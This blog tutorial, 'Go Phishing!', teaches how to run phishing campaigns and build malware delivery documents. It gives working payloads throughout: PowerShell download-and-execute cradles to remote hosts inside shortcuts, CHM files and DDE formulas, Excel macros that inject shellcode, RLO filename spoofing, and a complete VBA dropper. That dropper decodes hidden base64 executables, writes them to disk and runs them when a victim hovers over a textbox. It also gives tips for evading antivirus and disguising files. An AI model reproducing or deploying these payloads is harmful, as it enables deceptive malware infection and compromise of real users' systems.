Relish the Moment
Go Phishing!
TyeYeah Lv4
  2022-08-06 17:05:01   2022-11-27 16:27:50    4k Words  24 Mins

This article shows methods of phishing, including setting up a phishing mail server, preparing malware (PE) which deceives the target to access, and preparing evil documents/tables based on Office suite.

Set Up Phishing Mail Server

Buy similar domains, and prepare two server, one for mail server and another for phishing server.

Phishing server:

To use Gophish, download the releases and configure the config.json.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(root💀kali)-[~/gophish]
└─# unzip gophish-v0.11.0-linux-64bit.zip
Archive:  gophish-v0.11.0-linux-64bit.zip
  inflating: gophish
   creating: static/js/dist/
   creating: static/js/dist/app/
  inflating: static/js/dist/app/landing_pages.min.js
    ...
┌──(root💀kali)-[~/gophish]
└─# ls
config.json  gophish                          LICENSE    static     VERSION
db           gophish-v0.11.0-linux-64bit.zip  README.md  templates
┌──(root💀kali)-[~/gophish]
└─# chmod +x gophish

Modify the content of config.json:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
{
	"admin_server": {
		"listen_url": "0.0.0.0:xx", // port to manage (https)
		"use_tls": true,
		"cert_path": "gophish_admin.crt",
		"key_path": "gophish_admin.key"
	},
	"phish_server": {
		"listen_url": "0.0.0.0:xxxx", // port to phish (https)
		"use_tls": false,
		"cert_path": "example.crt",
		"key_path": "example.key"
	},
	"db_name": "sqlite3",
	"db_path": "gophish.db",
	"migrations_prefix": "db/db_",
	"contact_address": "",
	"logging": {
		"filename": "",
		"level": ""
	}
}

Start server, and it will show the initial username & password.

1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(root💀kali)-[~/gophish]
└─# ./gophish
time="2022-08-08T16:05:08+08:00" level=warning msg="No contact address has been configured."
time="2022-08-08T16:05:08+08:00" level=warning msg="Please consider adding a contact_address entry in your config.json"
goose: migrating db environment 'production', current version: 0, target: 20200730000000
OK    20160118194630_init.sql
OK    20160131153104_0.1.2_add_event_details.sql
...
OK    20200619000000_0.11.0_password_policy.sql
OK    20200730000000_0.11.0_imap_ignore_cert_errors.sql
time="2022-08-08T16:05:09+08:00" level=info msg="Please login with the username admin and the password e98a19c956ca1cc2"
time="2022-08-08T16:05:09+08:00" level=info msg="Starting phishing server at http://0.0.0.0:xxx"
time="2022-08-08T16:05:09+08:00" level=info msg="Starting IMAP monitor manager"

As for EwoMail, it has detailed documents.

Collect target email:

Verify email:

Fake an account

Camouflage Malicious PE

FIrst of all we need PE backdoor which can be created by using Pentest Frameworks.

Or we can prepare evil Powershell scripts using MSF, CobaltStrike, Empire and Unicorn, and pack it up as an executable using tools like BAT2EXE.

We can setup to use or leverage the portable version. Add a notepad.exe at the front as a disguise, and remember to set a reliable icon (can be found at Windows 10 Icon theme) and right PE format.
notepad as a disguise
icon and format

After that we get xxx.exe, and here the most important tip appears – Unicode of RLO. It converts filename to write from the right to the left. Use insert in right click menu, or visit online tools like Unicode Character Table to do it.

For example, if we name a file: Altxt.exe, and insert RLO right before the txt.exe, finally we get name Alexe.txt and it is still a PE file.

Restorator can be used to edit resource of a PE file.

SFX

Create a SFX(SelF-eXtracting) file and compress in some confusing binaries. Set Advanced settings of SFX:

  • before extraction, run a normal PE; after extraction, run the malware.
  • configure the silence mode to hide all.
  • update and overlap files when extracting.

DLL Hijacking & Recreate the Installer

They are also common methods to execute malware, and here provide some sample tools:

We can create a blank shotcut, and modify the target command.

For example, ftp can be used to execute commands by adding !: 

1
2
3
4
5
6
7
8
9
10
# ftp
ftp> whoami
?Invalid command.
ftp> !whoami
root
ftp> !echo 222
222
ftp> !pwd
/root
ftp>

So on Windows the ftp.exe can cooperate with powershell scripts.
In Target of the Shotcut we write: 

1
C:\Winodws\System32\ftp.exe -""s:xxx.dll

In xxx.dll we write: 

1
!cmd /k powershell -exec bypass .\xxxx.ps1

And in xxxx.ps1 writes:

1
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://x.x.x.x:xx/xxxxx'))"

In this indirectly calling method, some antivirus softwares can be bypassed. Other methods of calling powershell are also applicable, and encodings like base64 are recommended.

The name of icon of the file should be modified to deceive others.

Evil CHM to Phish

CHM (Microsoft Compiled HTML Help) is the extension used by Windows help files and other files such as e-books. Cybercriminals have been known to abuse vulnerabilities in CHM files to execute arbitrary code. Successful exploitation requires the user is tricked into opening or decompiling a malicious CHM file, which may be used to execute malicious routines the same way a malicious EXE file would.

First create an empty folder, and a html file:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<html>
<head>
<title>Mousejack replay</title>
</head>
<body>
command exec 
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap::shortcut">
<PARAM name="Item1" value=',calc.exe'>
<PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>
x.Click();
</SCRIPT>
</body>
</html>

Attention: a , before calc.exe is needed to avoid chm error when opening.

Use EasyCHM or other tools to produce CHM files based on html, and click to trigger payload. replace payload with powershell to get trojan online.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<html>
<head>
<title>Mousejack replay</title>
</head>
<body>
command exec 
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap::shortcut">
<PARAM name="Item1" value=",powershell.exe, -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://x.x.x.x:xx/xxxxx'))">
<PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>
x.Click();
</SCRIPT>
</body>
</html>

Attention: a , right after powershell.exe is also needed to avoid error, and take care of conflicts between " and '.

Another method is to leverage MyJSRat. The payload in CHM should connect MyJSRat server (control indirectly), and MyJSRat control the victim to execute powershell backdoor downloading&execution.

The CHM content can be like: (using whitelist and clean traces)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<head>
<title>Mousejack replay</title>
</head>
<body>
command exec 
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap::shortcut">
<PARAM name="Item1" value=',rundll32.exe, javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.27.180:8081/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}'>
<PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>
x.Click();
</SCRIPT>
</body>
</html>

To disguise the CHM file, we make a malicious file based on a normal one.

1
hh -decompile .\\html xxx.chm

Then embed payload into one html page, and make sure to induce people to click this page.

Create Evil Office Suite

Macros in Word

Enable developing tools, and adjust the safety of macros to enable all macros in word.
Then click Visual Basic to write payload (generate in MSF/CS).

Use EvilClippy to bypass AV.

Macros in Excel

Right click the Sheet tab, and select insert. Choose the macro item to add a new sheet tab.

Enter =exec("c:\windows\system32\cmd.exe") in cell A1 and enter =halt() in cell A2. Set cell A1 as Auto_open and save it as xlsm file .

exploits on the internet:

1
2
3
4
5
6
7
8
9
10
11
=R1C2()  // call somewhere 
=CALL("Kernel32","VirtualAlloc","JJJJJ",0,1000000,4096,64)  // invoke Kernel
=SELECT(R1C2:R1000:C2,R1C2)  // choose shellcode column
=SET.VALUE(R1C3, 0)  // set one cell
=WHILE(LEN(ACTIVE.CELL())>0)  
=CALL("Kernel32","WriteProcessMemory","JJJCJJ",-1, R2C1 + R1C3 * 20,ACTIVE.CELL(), LEN(ACTIVE.CELL()), 0)
=SET.VALUE(R1C3, R1C3 + 1)
=SELECT(, "R[1]C")
=NEXT()   // loop shellcode, call RtilCopyMemory to write memory. 
=CALL("Kernel32","CreateThread","JJJJJJJ",0, 0, R2C1, 0, 0, 0)  //call CreateThread to create thread
=HALT() // or RETURN to exit

To bypass waf, or make shellcode available:

  • macro_pack automatizes obfuscation and generation of retro formats such as MS Office documents or VBS like format.
  • SharpShooter is a payload creation framework for the retrieval and execution of arbitrary CSharp source code.
  • Macrome is An Excel Macro Document Reader/Writer.
  • The site with advanced-vba-macros.

and some old stuff

OLE

Abbreviation of Object Linking and Embedding, is a compound document standard developed by Microsoft Corporation. It enables you to create objects with one application and then link or embed them in a second application. Embedded objects retain their original formatand links to the application that created them.

In openoffice we can use DDE function: =DDE("cmd";"/C calc";"123") to execute, while in office it is removed.

But we can still use the format application|topic!item to call DDE.

In excel (bit of confusing):

1
=cmd|'/c powershell.exe -w hidden $e=(New-Object System.Net.WebClient).DownloadString("http://XXXX/getshell.ps1");IEX $e'!_xlbgnm.A1

In word:
CTRL+F9 and insert between “{ }” 

1
2
3
{ DDEAUTO c:\windows\system32\cmd.exe "/k calc.exe" }
or
{DDEAUTO C:\\windows\\system32\\cmd.exe "/k powershell IEX (New-Object Net.WebClient).DownloadString('http://x.x.x.x/xx.ps2') "}

And listen in MSF:

1
2
3
use exploit/windows/fileformat/office_dde_delivery
set lport xx
set lhost xx.xx.xx.xx

JS

If we insert online videos in word, the item embeddedHtml in word/document.xml of word compressed file will have corresponding html codes. We can modify these html to insert evil javascript, like:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<html>
<body>
<script>
var a = document.createElement('a');
console.log(a);
document.body.appendChild(a);
a.style = 'display: none';
a.href = "http://x.x.x.x:xx/xxx";
a.download = fileName;
window.URL.revokeObjectURL(url);
</script>
<script>
a.click();
</script>
</body>
</html>

Template

First create a document with template, then create a template which enables macro. Modify the document with template, to let it link to the template we created.
Write macro in template xxx.dotm:

1
2
3
Sub AutoOpen()
Shell "calc"
End Sub

Or find word_rels\settings.xml.rels in xxx.docx which enables template. Set Target as file:///C:\path\to\xxx.dotm, and the protocol can be changed to smb or http.

CVE

There’re also many command execution vulnerabilities:
CVE-2017-0199, CVE-2017-8570, CVE-2017-8759, CVE-2017-11882, CVE-2018-0802

Phish in PPSX

We can insert an action button, and set the reaction when clicking/hovering as powershell scripts.

Save it as ppsx, and execute it to get backdoor online. In word it has similar methods, and these may be the most effective.

The Ultra One

  1. Find the target to hijack DLL, and create a malicious DLL.
  2. Read all files in binary and encode to a string by base64 and save it in a textbox
  3. Use the macros to decode from textbox and write to disk.
  4. Finally execute to be online.

Talk is cheap, show XX the code.

Read file and encode by base64:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
Sub WriteBinary(FileName, Buf)
  Dim I, aBuf, Size, bStream
  Size = UBound(Buf): ReDim aBuf(Size \ 2)
  For I = 0 To Size - 1 Step 2
      aBuf(I \ 2) = ChrW(Buf(I + 1) * 256 + Buf(I))
  Next
  If I = Size Then aBuf(I \ 2) = ChrW(Buf(I))
  aBuf = Join(aBuf, "")
  Set bStream = CreateObject("ADODB.Stream")
  bStream.Type = 1: bStream.Open
  With CreateObject("ADODB.Stream")
    .Type = 2: .Open: .WriteText aBuf
    .Position = 2: .CopyTo bStream: .Close
  End With
  bStream.SaveToFile FileName, 2: bStream.Close
  Set bStream = Nothing
End Sub

Function Base64Encode(str() As Byte) As String     
    On Error GoTo over     
    Dim Buf() As Byte, length As Long, mods As Long
    Const B64_CHAR_DICT = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
    mods = (UBound(str) + 1) Mod 3   
    length = UBound(str) + 1 - mods
    ReDim Buf(length / 3 * 4 + IIf(mods <> 0, 4, 0) - 1)
    Dim I As Long
    For I = 0 To length - 1 Step 3
        Buf(I / 3 * 4) = (str(I) And &HFC) / &H4
        Buf(I / 3 * 4 + 1) = (str(I) And &H3) * &H10 + (str(I + 1) And &HF0) / &H10
        Buf(I / 3 * 4 + 2) = (str(I + 1) And &HF) * &H4 + (str(I + 2) And &HC0) / &H40
        Buf(I / 3 * 4 + 3) = str(I + 2) And &H3F
    Next
    If mods = 1 Then
        Buf(length / 3 * 4) = (str(length) And &HFC) / &H4
        Buf(length / 3 * 4 + 1) = (str(length) And &H3) * &H10
        Buf(length / 3 * 4 + 2) = 64
        Buf(length / 3 * 4 + 3) = 64
    ElseIf mods = 2 Then
        Buf(length / 3 * 4) = (str(length) And &HFC) / &H4
        Buf(length / 3 * 4 + 1) = (str(length) And &H3) * &H10 + (str(length + 1) And &HF0) / &H10
        Buf(length / 3 * 4 + 2) = (str(length + 1) And &HF) * &H4
        Buf(length / 3 * 4 + 3) = 64
    End If
    For I = 0 To UBound(Buf)
        Base64Encode = Base64Encode + Mid(B64_CHAR_DICT, Buf(I) + 1, 1)
    Next
over:
End Function


'VB Base64 Encode/Decode：

Function Base64Decode(B64 As String) As Byte()    
    On Error GoTo over     
    Dim OutStr() As Byte, I As Long, j As Long
    Const B64_CHAR_DICT = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
    If InStr(1, B64, "=") <> 0 Then B64 = Left(B64, InStr(1, B64, "=") - 1)  
    Dim length As Long, mods As Long
    mods = Len(B64) Mod 4
    length = Len(B64) - mods
    ReDim OutStr(length / 4 * 3 - 1 + Switch(mods = 0, 0, mods = 2, 1, mods = 3, 2))
    For I = 1 To length Step 4
        Dim Buf(3) As Byte
        For j = 0 To 3
            Buf(j) = InStr(1, B64_CHAR_DICT, Mid(B64, I + j, 1)) - 1   
        Next
        OutStr((I - 1) / 4 * 3) = Buf(0) * &H4 + (Buf(1) And &H30) / &H10
        OutStr((I - 1) / 4 * 3 + 1) = (Buf(1) And &HF) * &H10 + (Buf(2) And &H3C) / &H4
        OutStr((I - 1) / 4 * 3 + 2) = (Buf(2) And &H3) * &H40 + Buf(3)
    Next
    If mods = 2 Then
        OutStr(length / 4 * 3) = (InStr(1, B64_CHAR_DICT, Mid(B64, length + 1, 1)) - 1) * &H4 + ((InStr(1, B64_CHAR_DICT, Mid(B64, length + 2, 1)) - 1) And &H30) / 16
    ElseIf mods = 3 Then
        OutStr(length / 4 * 3) = (InStr(1, B64_CHAR_DICT, Mid(B64, length + 1, 1)) - 1) * &H4 + ((InStr(1, B64_CHAR_DICT, Mid(B64, length + 2, 1)) - 1) And &H30) / 16
        OutStr(length / 4 * 3 + 1) = ((InStr(1, B64_CHAR_DICT, Mid(B64, length + 2, 1)) - 1) And &HF) * &H10 + ((InStr(1, B64_CHAR_DICT, Mid(B64, length + 3, 1)) - 1) And &H3C) / &H4
    End If
    Base64Decode = OutStr    
over:
End Function


Sub test2()
    Dim iFN As Integer
    Dim sPath As String
    Dim bFileSize As Long
    Dim sResult As String
    Dim arr() As Byte ' bytes array
    Dim arra() As Byte ' bytes array
    Dim infile, outfile, infileBase As String
    infile = "C:\path\to\in.exe"
    outfile = "C:\path\to\out.exe"

    iFN = VBA.FreeFile

    bFileSize = VBA.FileLen(infile)
    'Debug.Print bFileSize
    Open infile For Binary Access Read As iFN
    arr = InputB(bFileSize, iFN) ' read bytes

    infileBase = Base64Encode(arr())

    'Debug.Print infileBase

    Dim FSO
    Set FSO = CreateObject("Scripting.FileSystemObject")

    Set OutPutFile = FSO.OpenTextFile("C:\path\to\test.txt", 2, True)
    OutPutFile.Write (infileBase)
    OutPutFile.Close
    Set FSO = Nothing

    'Dim infileBaseExe As String
    'infileBaseExe = Range("J22").Value
    'infileBaseExe = infileBaseExe + Range("J23").Value

    'arra = Base64Decode(infileBase)

    'WriteBinary outfile, arra

End Sub

Office macros to get online:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
Private Declare PtrSafe Sub Sleep Lib "kernel32" (ByVal Milliseconds As LongPtr)
Private Declare PtrSafe Function GetProcAddress Lib "kernel32" (ByVal hModule As LongPtr, ByVal lpProcName As String) As LongPtr
Private Declare PtrSafe Function LoadLibrary Lib "kernel32" Alias "LoadLibraryA" (ByVal lpLibFileName As String) As LongPtr
Private Declare PtrSafe Function VirtualProtect Lib "kernel32" (lpAddress As Any, ByVal dwSize As LongPtr, ByVal flNewProtect As Long, lpflOldProtect As Long) As Long
Private Declare PtrSafe Sub ByteSwapper Lib "kernel32.dll" Alias "RtlFillMemory" (Destination As Any, ByVal length As Long, ByVal Fill As Byte)
Private Declare PtrSafe Sub Peek Lib "msvcrt" Alias "memcpy" (ByRef pDest As Any, ByRef pSource As Any, ByVal nBytes As Long)
Private Declare PtrSafe Function CreateProcess Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, lpProcessAttributes As Any, lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any, ByVal lpCurrentDriectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
Private Declare PtrSafe Function OpenProcess Lib "kernel32.dll" (ByVal dwAccess As Long, ByVal fInherit As Integer, ByVal hObject As Long) As Long
Private Declare PtrSafe Function TerminateProcess Lib "kernel32" (ByVal hProcess As Long, ByVal uExitCode As Long) As Long
Private Declare PtrSafe Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long

Private Type PROCESS_INFORMATION
    hProcess As Long
    hThread As Long
    dwProcessId As Long
    dwThreadId As Long
End Type

Private Type STARTUPINFO
    cb As Long
    lpReserved As String
    lpDesktop As String
    lpTitle As String
    dwX As Long
    dwY As Long
    dwXSize As Long
    dwYSize As Long
    dwXCountChars As Long
    dwYCountChars As Long
    dwFillAttribute As Long
    dwFlags As Long
    wShowWindow As Integer
    cbReserved2 As Integer
    lpReserved2 As Long
    hStdInput As Long
    hStdOutput As Long
    hStdError As Long
End Type

Const CREATE_NO_WINDOW = &H8000000
Const CREATE_NEW_CONSOLE = &H10

Function fileExist(filePath)
    Dim fso
    Set fso = CreateObject("Scripting.FileSystemObject")
    If fso.fileExists(filePath) Then
        fileExist = True
    Else
        fileExist = False
    End If
    Set fso = Nothing
End Function


Function dddddd(B64 As String) As Byte()
    On Error GoTo over
    Dim OutStr() As Byte, i As Long, j As Long
    Const B64_CHAR_DICT = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
    If InStr(1, B64, "=") <> 0 Then B64 = Left(B64, InStr(1, B64, "=") - 1)
    Dim length As Long, mods As Long
    mods = Len(B64) Mod 4
    length = Len(B64) - mods
    ReDim OutStr(length / 4 * 3 - 1 + Switch(mods = 0, 0, mods = 2, 1, mods = 3, 2))
    For i = 1 To length Step 4
        Dim buf(3) As Byte
        For j = 0 To 3
            buf(j) = InStr(1, B64_CHAR_DICT, Mid(B64, i + j, 1)) - 1
        Next
        OutStr((i - 1) / 4 * 3) = buf(0) * &H4 + (buf(1) And &H30) / &H10
        OutStr((i - 1) / 4 * 3 + 1) = (buf(1) And &HF) * &H10 + (buf(2) And &H3C) / &H4
        OutStr((i - 1) / 4 * 3 + 2) = (buf(2) And &H3) * &H40 + buf(3)
    Next
    If mods = 2 Then
        OutStr(length / 4 * 3) = (InStr(1, B64_CHAR_DICT, Mid(B64, length + 1, 1)) - 1) * &H4 + ((InStr(1, B64_CHAR_DICT, Mid(B64, length + 2, 1)) - 1) And &H30) / 16
    ElseIf mods = 3 Then
        OutStr(length / 4 * 3) = (InStr(1, B64_CHAR_DICT, Mid(B64, length + 1, 1)) - 1) * &H4 + ((InStr(1, B64_CHAR_DICT, Mid(B64, length + 2, 1)) - 1) And &H30) / 16
        OutStr(length / 4 * 3 + 1) = ((InStr(1, B64_CHAR_DICT, Mid(B64, length + 2, 1)) - 1) And &HF) * &H10 + ((InStr(1, B64_CHAR_DICT, Mid(B64, length + 3, 1)) - 1) And &H3C) / &H4
    End If
    dddddd = OutStr
over:
End Function


Function runCommand(comando)
    Dim pInfo As PROCESS_INFORMATION
    Dim sInfo As STARTUPINFO
    Dim sNull As String
    Dim lSuccess As Long
    Dim lRetValue As Long

    lSuccess = CreateProcess(sNull, comando, ByVal 0&, ByVal 0&, 1&, CREATE_NO_WINDOW, ByVal 0&, sNull, sInfo, pInfo)

    lRetValue = CloseHandle(pInfo.hThread)
    lRetValue = CloseHandle(pInfo.hProcess)

End Function


Function WriteBinary(FileName, buf)
  Dim i, aBuf, Size, bStream
  Size = UBound(buf): ReDim aBuf(Size \ 2)
  For i = 0 To Size - 1 Step 2
      aBuf(i \ 2) = ChrW(buf(i + 1) * 256 + buf(i))
  Next
  If i = Size Then aBuf(i \ 2) = ChrW(buf(i))
  aBuf = Join(aBuf, "")
  Set bStream = CreateObject("ADODB.Stream")
  bStream.Type = 1: bStream.Open
  With CreateObject("ADODB.Stream")
    .Type = 2: .Open: .WriteText aBuf
    .Position = 2: .CopyTo bStream: .Close
  End With
  bStream.SaveToFile FileName, 2: bStream.Close
  Set bStream = Nothing
End Function


Function releaseFile(path As String, conte As String)

    hwminiArra = dddddd(conte)
    WriteBinary path, hwminiArra



End Function


Function start()
    Dim filePath As String
    filePath = "C:\Windows\temp\aaaaaaa.exe"
    If Not fileExist(filePath) Then
        releaseFile "C:\Windows\temp\aaaaaaa.exe", Replace(ActiveDocument.Shapes(1).TextFrame.TextRange, Chr(13), Empty)
        releaseFile "C:\Windows\temp\aaaaaaaaaaa.dll", Replace(ActiveDocument.Shapes(2).TextFrame.TextRange, Chr(13), Empty)
    End If
    runCommand (filePath)

End Function




Private Sub TextBox2_MouseDown(ByVal Button As Integer, ByVal Shift As Integer, ByVal X As Single, ByVal Y As Single)
    Static i As Integer
    i = i + 1
    If i < 3 Then
        start
    End If
End Sub


Private Sub TextBox2_MouseMove(ByVal Button As Integer, ByVal Shift As Integer, ByVal X As Single, ByVal Y As Single)
    Static i As Integer
    i = i + 1
    If i < 3 Then
        start
    End If
End Sub

Remember to hide the textbox with base64 codes, and induce victims to trigger the macro when they click/hover on some textbox (we can expand it into a whole page to make trigger easier). We can also encrypt the VB project to prevent reversing.

Other Resources

Trusted domains that could be used for hosting malware or etc: Living Off Trusted Sites (LOTS) Project

A simple program with a graphical user interface to spoof file extensions and icons: FileSpoofer

Bundle install: MatryoshkaDollTool, Setup Factory, Bundler-bypass

  1. 1. Set Up Phishing Mail Server
  2. 2. Camouflage Malicious PE
    1. 2.1. SFX
    2. 2.2. DLL Hijacking & Recreate the Installer
  3. 3. Make Evil Links/Shotcuts
  4. 4. Evil CHM to Phish
  5. 5. Create Evil Office Suite
    1. 5.1. Macros in Word
    2. 5.2. Macros in Excel
    3. 5.3. OLE
    4. 5.4. JS
    5. 5.5. Template
    6. 5.6. CVE
    7. 5.7. Phish in PPSX
    8. 5.8. The Ultra One
  6. 6. Other Resources
© 2018 - 2024    TyeYeah
Powered by Hexo & Theme Keep
Total words 135.7k
  1. 1. Set Up Phishing Mail Server
  2. 2. Camouflage Malicious PE
    1. 2.1. SFX
    2. 2.2. DLL Hijacking & Recreate the Installer
  3. 3. Make Evil Links/Shotcuts
  4. 4. Evil CHM to Phish
  5. 5. Create Evil Office Suite
    1. 5.1. Macros in Word
    2. 5.2. Macros in Excel
    3. 5.3. OLE
    4. 5.4. JS
    5. 5.5. Template
    6. 5.6. CVE
    7. 5.7. Phish in PPSX
    8. 5.8. The Ultra One
  6. 6. Other Resources